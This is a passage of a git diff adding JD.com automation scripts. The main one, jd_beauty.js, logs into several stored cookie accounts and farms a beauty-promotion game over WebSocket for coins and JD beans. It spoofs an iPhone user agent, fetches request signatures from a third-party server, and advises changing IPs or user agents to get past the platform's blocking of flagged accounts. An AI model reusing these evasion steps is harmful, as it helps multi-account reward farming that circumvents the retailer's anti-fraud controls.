(!node.fs.existsSync(node.path.resolve(__dirname, NodeSet))) + node.fs.writeFileSync(node.path.resolve(__dirname, NodeSet), JSON.stringify({})); + const dataValue = JSON.parse(node.fs.readFileSync(node.path.resolve(__dirname, NodeSet))); + if (value) dataValue[key] = value; + if (!value) delete dataValue[key]; + return node.fs.writeFileSync(node.path.resolve(__dirname, NodeSet), JSON.stringify(dataValue)); + } catch (er) { + return AnError('Node.js持久化写入', null, er); + } + } + if (isJSBox) { + if (!value) return $file.delete(`shared://${key}.txt`); + return $file.write({ + data: $data({ + string: value + }), + path: `shared://${key}.txt` + }) + } + } + const read = (key) => { + if (isQuanX) return $prefs.valueForKey(key) + if (isSurge) return $persistentStore.read(key) + if (isNode) { + try { + if (!node.fs.existsSync(node.path.resolve(__dirname, NodeSet))) return null; + const dataValue = JSON.parse(node.fs.readFileSync(node.path.resolve(__dirname, NodeSet))) + return dataValue[key] + } catch (er) { + return AnError('Node.js持久化读取', null, er) + } + } + if (isJSBox) { + if (!$file.exists(`shared://${key}.txt`)) return null; + return $file.read(`shared://${key}.txt`).string + } + } + const adapterStatus = (response) => { + if (response) { + if (response.status) { + response["statusCode"] = response.status + } else if (response.statusCode) { + response["status"] = response.statusCode + } + } + return response + } + const get = (options, callback) => { + options.headers['User-Agent'] = 'JD4iPhone/167169 (iPhone; iOS 13.4.1; Scale/3.00)' + if (isQuanX) { + if (typeof options == "string") options = { + url: options + } + options["method"] = "GET" + //options["opts"] = { + // "hints": false + //} + $task.fetch(options).then(response => { + callback(null, adapterStatus(response), response.body) + }, reason => callback(reason.error, null, null)) + } + if (isSurge) { + options.headers['X-Surge-Skip-Scripting'] = false + $httpClient.get(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isNode) { + node.request(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isJSBox) { + if (typeof options == "string") options = { + url: options + } + options["header"] = options["headers"] + options["handler"] = function(resp) { + let error = resp.error; + if (error) error = JSON.stringify(resp.error) + let body = resp.data; + if (typeof body == "object") body = JSON.stringify(resp.data); + callback(error, adapterStatus(resp.response), body) + }; + $http.get(options); + } + } + const post = (options, callback) => { + options.headers['User-Agent'] = 'JD4iPhone/167169 (iPhone; iOS 13.4.1; Scale/3.00)' + if (options.body) options.headers['Content-Type'] = 'application/x-www-form-urlencoded' + if (isQuanX) { + if (typeof options == "string") options = { + url: options + } + options["method"] = "POST" + //options["opts"] = { + // "hints": false + //} + $task.fetch(options).then(response => { + callback(null, adapterStatus(response), response.body) + }, reason => callback(reason.error, null, null)) + } + if (isSurge) { + options.headers['X-Surge-Skip-Scripting'] = false + $httpClient.post(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isNode) { + node.request.post(options, (error, response, body) => { + callback(error, adapterStatus(response), body) + }) + } + if (isJSBox) { + if (typeof options == "string") options = { + url: options + } + options["header"] = options["headers"] + options["handler"] = function(resp) { + let error = resp.error; + if (error) error = JSON.stringify(resp.error) + let body = resp.data; + if (typeof body == "object") body = JSON.stringify(resp.data) + callback(error, adapterStatus(resp.response), body) + } + $http.post(options); + } + } + const AnError = (name, keyname, er, resp, body) => { + if (typeof(merge) != "undefined" && keyname) { + if (!merge[keyname].notify) { + merge[keyname].notify = `${name}: 异常, 已输出日志 ‼️` + } else { + merge[keyname].notify += `\n${name}: 异常, 已输出日志 ‼️ (2)` + } + merge[keyname].error = 1 + } + return console.log(`\n‼️${name}发生错误\n‼️名称: ${er.name}\n‼️描述: ${er.message}${JSON.stringify(er).match(/\"line\"/)?`\n‼️行列: ${JSON.stringify(er)}`:``}${resp&&resp.status?`\n‼️状态: ${resp.status}`:``}${body?`\n‼️响应: ${resp&&resp.status!=503?body:`Omit.`}`:``}`) + } + const time = () => { + const end = ((Date.now() - start) / 1000).toFixed(2) + return console.log('\n签到用时: ' + end + ' 秒') + } + const done = (value = {}) => { + if (isQuanX) return $done(value) + if (isSurge) isRequest ? $done(value) : $done() + } + return { + AnError, + isRequest, + isJSBox, + isSurge, + isQuanX, + isLoon, + isNode, + notify, + write, + read, + get, + post, + time, + done + } +}; +}).catch(e => { +console.error("ERRROR:",e) +}) \ No newline at end of file diff --git a/jd_beauty.js b/jd_beauty.js new file mode 100644 index 0000000..dd7960c --- /dev/null +++ b/jd_beauty.js @@ -0,0 +1,768 @@ +/* +美丽研究院 +修复+尽量优化为同步执行,减少并发,说不定就减小黑号概率了呢? +更新时间:2021-12-03 +来源 Dylan +定时自定义,集中访问可能炸 +活动入口:京东app首页-美妆馆-底部中间按钮 +#随机定时运行一次 + */ +const $ = new Env('美丽研究院'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + + +const WebSocket = require('ws'); +const UA = process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT) +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +$.accountCheck = true; +$.init = false; +let cookiesArr = [], cookie = '', message; + +function oc(fn, defaultVal) { + try { + return fn() + } catch (e) { + return undefined + } +} + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + if (!$.isNode()) { + $.msg($.name, 'iOS端不支持websocket,暂不能使用此脚本', ''); + return + } + helpInfo = [] + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + $.token = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await accountCheck(); + await $.wait(10000) + if ($.accountCheck) { + await jdBeauty(); + } + if ($.accountCheck) { + helpInfo = $.helpInfo; + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function accountCheck() { + $.hasDone = false; + console.log(`***检测账号是否黑号***`); + await getIsvToken() + await $.wait(10000) + await getIsvToken2() + await $.wait(10000) + await getAuth() + await $.wait(10000) + if (!$.token) { + console.log(`\n\n提示:请尝试换服务器ip或者设置"xinruimz-isv.isvjcloud.com"域名直连,或者自定义UA再次尝试(环境变量JD_USER_AGENT)\n\n`) + $.accountCheck = false; + return + } + let client = new WebSocket(`wss://xinruimz-isv.isvjcloud.com/wss/?token=${$.token}`, null, { + headers: { + 'user-agent': UA, + } + }); + client.onopen = async () => { + console.log(`美容研究院服务器连接成功`); + client.send('{"msg":{"type":"action","args":{"source":1},"action":"_init_"}}'); + await $.wait(20000); + client.send(`{"msg":{"type":"action","args":{"source":1},"action":"get_user"}}`); + await $.wait(20000); + }; + client.onmessage = async function (e) { + if (e.data !== 'pong' && e.data && safeGet(e.data)) { + let vo = JSON.parse(e.data); + if (vo.action === "_init_") { + let vo = JSON.parse(e.data); + if (vo.msg === "风险用户") { + $.accountCheck = false; + // $.init=true; + client.close(); + console.log(`${vo.msg},跳过此账号`) + } + } else if (vo.action === "get_user") { + // $.init=true; + $.accountCheck = true; + client.close(); + console.log(`${vo.msg},账号正常`); + } + } + client.onclose = (e) => { + $.hasDone = true; + console.log('服务器连接关闭\n'); + }; + } +} + +async function jdBeauty() { + $.hasDone = false + await mr() + while (!$.hasDone) { + await $.wait(10000) + } + await showMsg(); +} + +async function mr() { + $.coins = 0 + let positionList = ['b1', 'h1', 's1', 'b2', 'h2', 's2'] + $.tokens = [] + $.pos = [] + $.helpInfo = [] + $.needs = [] + let client = new WebSocket(`wss://xinruimz-isv.isvjcloud.com/wss/?token=${$.token}`,null,{ + headers:{ + 'user-agent': UA, + } + }) + console.log(`wss://xinruimz-isv.isvjcloud.com/wss/?token=${$.token}`) + client.onopen = async () => { + console.log(`美容研究院服务器连接成功`); + client.send('{"msg":{"type":"action","args":{"source":1},"action":"_init_"}}'); + await $.wait(10000); + client.send(`{"msg":{"type":"action","args":{"source":"meizhuangguandibudaohang"},"action":"stats"}}`) + await $.wait(10000); + while (!$.init) { + client.send(`ping`) + await $.wait(10000); + } + console.log(`\n========生产任务相关========\n`) + client.send(`{"msg":{"type":"action","args":{},"action":"get_produce_material"}}`) + await $.wait(20000); + // 获得正在生产的商品信息 + client.send('{"msg":{"type":"action","args":{},"action":"product_producing"}}') + await $.wait(20000); + // 获得可生成的商品列表 + client.send(`{"msg":{"type":"action","args":{"page":1,"num":10},"action":"product_lists"}}`) + await $.wait(20000); + // 获得原料生产列表 + for (let pos of positionList) { + client.send(`{"msg":{"type":"action","args":{"position":"${pos}"},"action":"produce_position_info_v2"}}`) + await $.wait(20000); + } + console.log(`\n========日常任务相关========`) + client.send(`{"msg":{"type":"action","args":{},"action":"check_up"}}`) + await $.wait(20000); + if($.check_up){ + //收集 + client.send(`{"msg":{"type":"action","args":{},"action":"collect_coins"}}`); + await $.wait(20000); + //兑换 + client.send(`{"msg":{"type":"action","args":{},"action":"get_benefit"}}`) + await $.wait(50000); + //最后做时间最久的日常任务 + client.send(`{"msg":{"type":"action","args":{},"action":"shop_products"}}`) + await $.wait(20000); + } + }; + client.onclose = () => { + console.log(`本次运行获得美妆币${$.coins}`) + console.log('服务器连接关闭'); + $.init = true; + $.hasDone = true; + for (let i = 0; i < $.pos.length && i < $.tokens.length; ++i) { + $.helpInfo.push(`{"msg":{"type":"action","args":{"inviter_id":"${$.userInfo.id}","position":"${$.pos[i]}","token":"${$.tokens[i]}"},"action":"employee"}}`) + } + }; + client.onmessage = async function (e) { + if (e.data !== 'pong' && e.data && safeGet(e.data)) { + let vo = JSON.parse(e.data); + await $.wait(Math.random()*2000+500); + console.log(`\n开始任务:"${JSON.stringify(vo.action)}`); + switch (vo.action) { + case "get_ad": + console.log(`当期活动:${vo.data.screen.name}`) + if (vo.data.check_sign_in === 1) { + // 去签到 + console.log(`去做签到任务`) + client.send(`{"msg":{"type":"action","args":{},"action":"sign_in"}}`) + await $.wait(20000); + client.send(`{"msg":{"action":"write","type":"action","args":{"action_type":1,"channel":2,"source_app":2}}}`) + await $.wait(20000); + } + break + case "get_user": + $.userInfo = vo.data + $.total = vo.data.coins + if ($.userInfo.newcomer === 0) { + console.log(`去做新手任务`) + for (let i = $.userInfo.step; i < 15; ++i) { + client.send(`{"msg":{"type":"action","args":{},"action":"newcomer_update"}}`) + await $.wait(20000); + } + } else + $.init = true; + $.level = $.userInfo.level; + console.log(`当前美妆币${$.total},用户等级${$.level}`); + break; + case "check_up": + //获得当前任务状态 + $.taskState = vo.data + console.log($.taskState) + $.check_up = true + // 6-9点签到 + //for (let check_up of vo.data.check_up) { + // if (check_up['receive_status'] !== 1) { + // console.log(`去领取第${check_up.times}次签到奖励`) + // client.send(`{"msg":{"type":"action","args":{"check_up_id":${check_up.id}},"action":"check_up_receive"}}`) + // } else { + // console.log(`第${check_up.times}次签到奖励已领取`) + // } + // } + break + case "shop_products": + let count = $.taskState.shop_view.length; + if (count < $.taskState.daily_shop_follow_times) console.log(`\n去做关注店铺任务\n`); + for (let i = 0; i < vo.data.shops.length && count < $.taskState.daily_shop_follow_times; ++i) { + const shop = vo.data.shops[i]; + if (!$.taskState.shop_view.includes(shop.id)) { + count++; + console.log(`\n去做关注店铺【${shop.name}】`); + client.send(`{"msg":{"type":"action","args":{"shop_id":${shop.id}},"action":"shop_view"}}`); + await $.wait(5000); + client.send(`{"msg":{"action":"write","type":"action","args":{"action_type":6,"channel":2,"source_app":2,"vender":"${shop.vender_id}"}}}`); + await $.wait(5000); + } + await $.wait(10000); + } + count = $.taskState.product_adds.length; + if (count < $.taskState.daily_product_add_times && process.env.FS_LEVEL) console.log(`\n去做浏览并加购任务\n`) + for (let i = 0; i < vo.data.products.length && count < $.taskState.daily_product_add_times && process.env.FS_LEVEL; ++i) { + const product = vo.data.products[i]; + if (!$.taskState.product_adds.includes(product.id)) { + count++; + console.log(`\n去加购商品【${product.name}】`); + client.send(`{"msg":{"type":"action","args":{"add_product_id":${product.id}},"action":"add_product_view"}}`); + await $.wait(5000); + client.send(`{"msg":{"action":"write","type":"action","args":{"action_type":9,"channel":2,"source_app":2,"vender":"${product.id}"}}}`); + await $.wait(5000); + client.send(`{"msg":{"action":"write","type":"action","args":{"action_type":5,"channel":2,"source_app":2,"vender":"${product.id}"}}}`); + await $.wait(5000); + } + await $.wait(10000); + } + for (let i = $.taskState.meetingplace_view; i < $.taskState.mettingplace_count; ++i) { + console.log(`去做第${i + 1}次浏览会场任务`) + client.send(`{"msg":{"type":"action","args":{"source":1},"action":"meetingplace_view"}}`) + await $.wait(10000); + } + if ($.taskState.today_answered === 0) { + console.log(`去做每日问答任务`) + client.send(`{"msg":{"type":"action","args":{"source":1},"action":"get_question"}}`) + await $.wait(10000); + } + break + case 'newcomer_update': + if (vo.code === '200' || vo.code === 200) { + console.log(`第${vo.data.step}步新手任务完成成功,获得${vo.data.coins}美妆币`) + if (vo.data.step === 15) $.init = true + if (vo.data.coins) $.coins += vo.data.coins + } else { + console.log(`新手任务完成失败,错误信息:${JSON.stringify(vo)}`) + } + break + case 'get_question': + const questions = vo.data + let commit = {} + for (let i = 0; i < questions.length; ++i) { + const ques = questions[i] + commit[`${ques.id}`] = parseInt(ques.answers) + } + client.send(`{"msg":{"type":"action","args":{"commit":${JSON.stringify(commit)},"correct":${questions.length}},"action":"submit_answer"}}`) + await $.wait(10000); + break + case 'complete_task': + case 'action': + case 'submit_answer': + case "check_up_receive": + case "shop_view": + case "add_product_view": + case "meetingplace_view": + if (vo.code === '200' || vo.code === 200) { + console.log(`任务完成成功,获得${vo.data.coins}美妆币`) + if (vo.data.coins) $.coins += vo.data.coins + $.total = vo.data.user_coins + } else { + console.log(`任务完成失败,错误信息${vo.msg}`) + } + break + case "produce_position_info_v2": + // console.log(`${Boolean(oc(() => vo.data))};${oc(() => vo.data.material_name) !== ''}`); + if (vo.data && vo.data.material_name !== '') { + console.log(`【${oc(() => vo.data.position)}】上正在生产【${oc(() => vo.data.material_name)}】,可收取 ${vo.data.produce_num} 份`) + if (new Date().getTime() > vo.data.procedure.end_at) { + console.log(`去收取${oc(() => vo.data.material_name)}`) + client.send(`{"msg":{"type":"action","args":{"position":"${oc(() => vo.data.position)}","replace_material":false},"action":"material_fetch_v2"}}`) + await $.wait(5000); + client.send(`{"msg":{"type":"action","args":{},"action":"to_employee"}}`) + await $.wait(5000); + $.pos.push(oc(() => vo.data.position)) + } + } else { + if (oc(() => vo.data) && vo.data.valid_electric > 0) { + console.log(`【${vo.data.position}】上尚未开始生产`) + let ma + console.log(`$.needs:${JSON.stringify($.needs)}`); + if($.needs.length){ + ma = $.needs.pop() + console.log(`ma:${JSON.stringify(ma)}`); + } else { + ma = $.material.base[0]['items'][positionList.indexOf(vo.data.position)]; + console.log(`elsema:${JSON.stringify(ma)}`); + } + console.log(`ma booleam${Boolean(ma)}`); + if (ma) { + console.log(`去生产${ma.name}`) + client.send(`{"msg":{"type":"action","args":{"position":"${vo.data.position}","material_id":${ma.id}},"action":"material_produce_v2"}}`) + await $.wait(5000); + } else { + ma = $.material.base[1]['items'][positionList.indexOf(vo.data.position)] + if (ma) { + console.log(`else去生产${ma.name}`) + client.send(`{"msg":{"type":"action","args":{"position":"${vo.data.position}","material_id":${ma.id}},"action":"material_produce_v2"}}`) + await $.wait(5000); + } + } + } + else{ + console.log(`【${vo.data.position}】电力不足`) + } + } + break + case "material_produce_v2": + console.log(`【${oc(() => vo.data.position)}】上开始生产${oc(() => vo.data.material_name)}`) + client.send(`{"msg":{"type":"action","args":{},"action":"to_employee"}}`) + await $.wait(5000); + if(oc(() => vo.data.position)){ + $.pos.push(vo.data.position) + }else{ + console.log(`not exist:${oc(() => vo.data)}`) + } + break + case "material_fetch_v2": + if (vo.code === '200' || vo.code === 200) { + console.log(`【${vo.data.position}】收取成功,获得${vo.data.procedure.produce_num}份${vo.data.material_name}\n`); + } else { + console.log(`任务完成失败,错误信息${vo.msg}`) + } + break + case "get_package": + if (vo.code === '200' || vo.code === 200) { + // $.products = vo.data.product + $.materials = vo.data.material + let msg = `仓库信息:` + for (let material of $.materials) { + msg += `【${material.material.name}】${material.num}份 ` + } + console.log(msg) + } else { + console.log(`仓库信息获取失败,错误信息${vo.msg}`) + } + break + case "product_lists": + let need_material = [] + if (vo.code === '200' || vo.code === 200) { + $.products = vo.data.filter(vo=>vo.level===$.level) + console.log(`========可生产商品信息========`) + for (let product of $.products) { + let num = Infinity + let msg = '' + msg += `生产【${product.name}】` + for (let material of product.product_materials) { + msg += `需要原料“${material.material.name}${material.num} 份” ` //material.num 需要材料数量 + const ma = $.materials.filter(vo => vo.item_id === material.material_id)[0] //仓库里对应的材料信息 + // console.log(`ma:${JSON.stringify(ma)}`); + if (ma) { + msg += `(库存 ${ma.num} 份)`; + num = Math.min(num, Math.trunc(ma.num / material.num)) ;//Math.trunc 取整数部分 + if(material.num > ma.num){need_material.push(material.material)}; + // console.log(`num:${JSON.stringify(num)}`); + } else { + if(need_material.findIndex(vo=>vo.id===material.material.id)===-1) + need_material.push(material.material) + //console.log(`need_material:${JSON.stringify(need_material)}`); + msg += `(没有库存)` + num = -1000 + } + } + if (num !== Infinity && num > 0) { + msg += `,可生产 ${num}份` + console.log(msg) + console.log(`【${product.name}】可生产份数大于0,去生产`) + //product_produce 产品研发里的生产 + client.send(`{"msg":{"type":"action","args":{"product_id":${product.id},"amount":${num}},"action":"product_produce"}}`) + await $.wait(10000); + } else { + console.log(msg) + console.log(`【${product.name}】原料不足,无法生产`) + } + } + $.needs = need_material + // console.log(`product_lists $.needs:${JSON.stringify($.needs)}`); + console.log(`=======================`) + } else { + console.log(`生产信息获取失败,错误信息:${vo.msg}`) + } + // await $.wait(5000); + // client.close(); + break + case "product_produce": + if (vo.code === '200' || vo.code === 200) { + // console.log(`product_produce:${JSON.stringify(vo)}`) + console.log(`生产成功`) + } else { + console.log(`生产信息获取失败,错误信息${vo.msg}`) + } + break + case "collect_coins": + if (vo.code === '200' || vo.code === 200) { + // console.log(`product_produce:${JSON.stringify(vo)}`) + console.log(`收取成功,获得${vo['data']['coins']}美妆币,当前总美妆币:${vo['data']['user_coins']}\n`) + } else { + console.log(`收取美妆币失败,错误信息${vo.msg}`) + } + break + case "product_producing": + if (vo.code === '200' || vo.code === 200) { + for (let product of vo.data) { + if (product.num === product.produce_num) { + client.send(`{"msg":{"type":"action","args":{"log_id":${product.id}},"action":"new_product_fetch"}}`) + await $.wait(5000); + } else { + console.log(`产品【${product.product.id}】未生产完成,无法收取`) + } + } + } else { + console.log(`生产商品信息获取失败,错误信息${vo.msg}`) + } + break + case "new_product_fetch": + if (vo.code === '200' || vo.code === 200) { + console.log(`收取产品【${vo.data.product.name}】${vo.data.num}份`) + } else { + console.log(`收取产品失败,错误信息${vo.msg}`) + } + break + // case "get_task": + // console.log(`当前任务【${vo.data.describe}】,需要【${vo.data.product.name}】${vo.data.package_stock}/${vo.data.num}份`) + // if (vo.data.package_stock >= vo.data.num) { + // console.log(`满足任务要求,去完成任务`) + // client.send(`{"msg":{"type":"action","args":{"task_id":${vo.data.id}},"action":"complete_task"}}`) + // } + // break + case 'get_benefit': + for (let benefit of vo.data) { + if (benefit.type === 1) { //type 1 是京豆 + //console.log(`benefit:${JSON.stringify(benefit)}`); + if(benefit.description === "1 京豆" && parseInt(benefit.day_exchange_count) < 10 && $.total > benefit.coins){ + $timenum = parseInt($.total / benefit.coins); + if ($timenum > 10) $timenum = 10; + console.log(`\n可兑换${$timenum}次京豆:`) + for (let i = 0; i < $timenum; i++){ + client.send(`{"msg":{"type":"action","args":{"benefit_id":${benefit.id}},"action":"to_exchange"}}`); + await $.wait(5000) + client.send(`{"msg":{"type":"action","args":{"source":1},"action":"get_user"}}`) + await $.wait(5000); + } + } + // console.log(`物品【${benefit.description}】需要${benefit.coins}美妆币,库存${benefit.stock}份`) + // if (parseInt(benefit.setting.beans_count) === bean && //兑换多少豆 bean500就500豆 + // $.total > benefit.coins && + // parseInt(benefit.day_exchange_count) < benefit.day_limit) { + // console.log(`满足条件,去兑换`) + // client.send(`{"msg":{"type":"action","args":{"benefit_id":${benefit.id}},"action":"to_exchange"}}`) + // await $.wait(10000) + // } + } + } + break + case "to_exchange": + if(oc(() => vo.data.coins)){ + console.log(`兑换${vo.data.coins/-1000}京豆成功`) + }else{ + console.log(`兑换京豆失败`) + } + break + case "get_produce_material": + $.material = vo.data + break + case "to_employee": + console.log(`雇佣助力码【${oc(() => vo.data.token)}】`) + if(oc(() => vo.data.token)){ + $.tokens.push(vo.data.token) + }else{ + console.log(`not exist:${oc(() => vo.data)}`) + } + break + case "employee": + console.log(`${vo.msg}`) + break + } + } + }; +} + +function getIsvToken() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=genToken', + body: 'body=%7B%22to%22%3A%22https%3A%5C/%5C/xinruimz-isv.isvjcloud.com%5C/?channel%3Dmeizhuangguandibudaohang%26collectionId%3D96%26tttparams%3DYEyYQjMIeyJnTG5nIjoiMTE4Ljc2MjQyMSIsImdMYXQiOiIzMi4yNDE4ODIifQ8%253D%253D%26un_area%3D12_904_908_57903%26lng%3D118.7159742308471%26lat%3D32.2010317443041%22%2C%22action%22%3A%22to%22%7D&build=167490&client=apple&clientVersion=9.3.2&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&osVersion=14.2&partner=apple&rfs=0000&scope=01&sign=b0aac3dd04b1c6d68cee3d425e27f480&st=1610161913667&sv=111', + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'user-agent': UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`); + console.log(`${JSON.stringify(err)}`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.isvToken = data['tokenKey']; + console.log(`isvToken:${$.isvToken}`); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function getIsvToken2() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=isvObfuscator', + body: await getSignfromDY('isvObfuscator',{"id":"","url":"https://xinruimz-isv.isvjcloud.com"}), + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'user-agent': UA, + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.token2 = data['token'] + console.log(`token2:${$.token2}`); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getSignfromDY(functionId, body) { + var strsign = ''; + let data = `functionId=${functionId}&body=${encodeURIComponent(JSON.stringify(body))}` + return new Promise((resolve) => { + let opt = { + url: "https://jd.nbplay.xyz/dylan/getsign", + body: data, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + } + ,timeout: 30000 + } + $.post(opt, async(err, resp, data) => { + try { + if (data){ + data = JSON.parse(data); + if (data && data.code == 0) { + console.log("连接DY服务成功" ); + if (data.data){ + strsign = data.data || ''; + } + if (strsign != ''){ + resolve(strsign); + } + else + console.log("签名获取失败,换个时间再试."); + } else { + console.log(data.msg); + } + }else{console.log('连接连接DY服务失败,重试。。。')} + }catch (e) { + $.logErr(e, resp); + }finally { + resolve(strsign); + } + }) + }) +} +function getAuth() { + let config = { + url: 'https://xinruimz-isv.isvjcloud.com/api/auth', + body: JSON.stringify({"token":$.token2,"source":"01"}), + headers: { + 'Host': 'xinruimz-isv.isvjcloud.com', + 'Accept': 'application/x.jd-school-island.v1+json', + 'Source': '02', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/json;charset=utf-8', + 'Origin': 'https://xinruimz-isv.isvjcloud.com', + 'user-agent': UA, + 'Referer': 'https://xinruimz-isv.isvjcloud.com/logined_jd/', + 'Authorization': 'Bearer undefined', + 'Cookie': `IsvToken=${$.isvToken};` + } + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.token = data.access_token + console.log(`$.token ${$.token}`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function showMsg() { + return new Promise(resolve => { + message += `本次运行获得美妆币${$.coins}枚\n当前美妆币${$.total}`; + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + resolve() + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + 'user-agent': UA, + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const 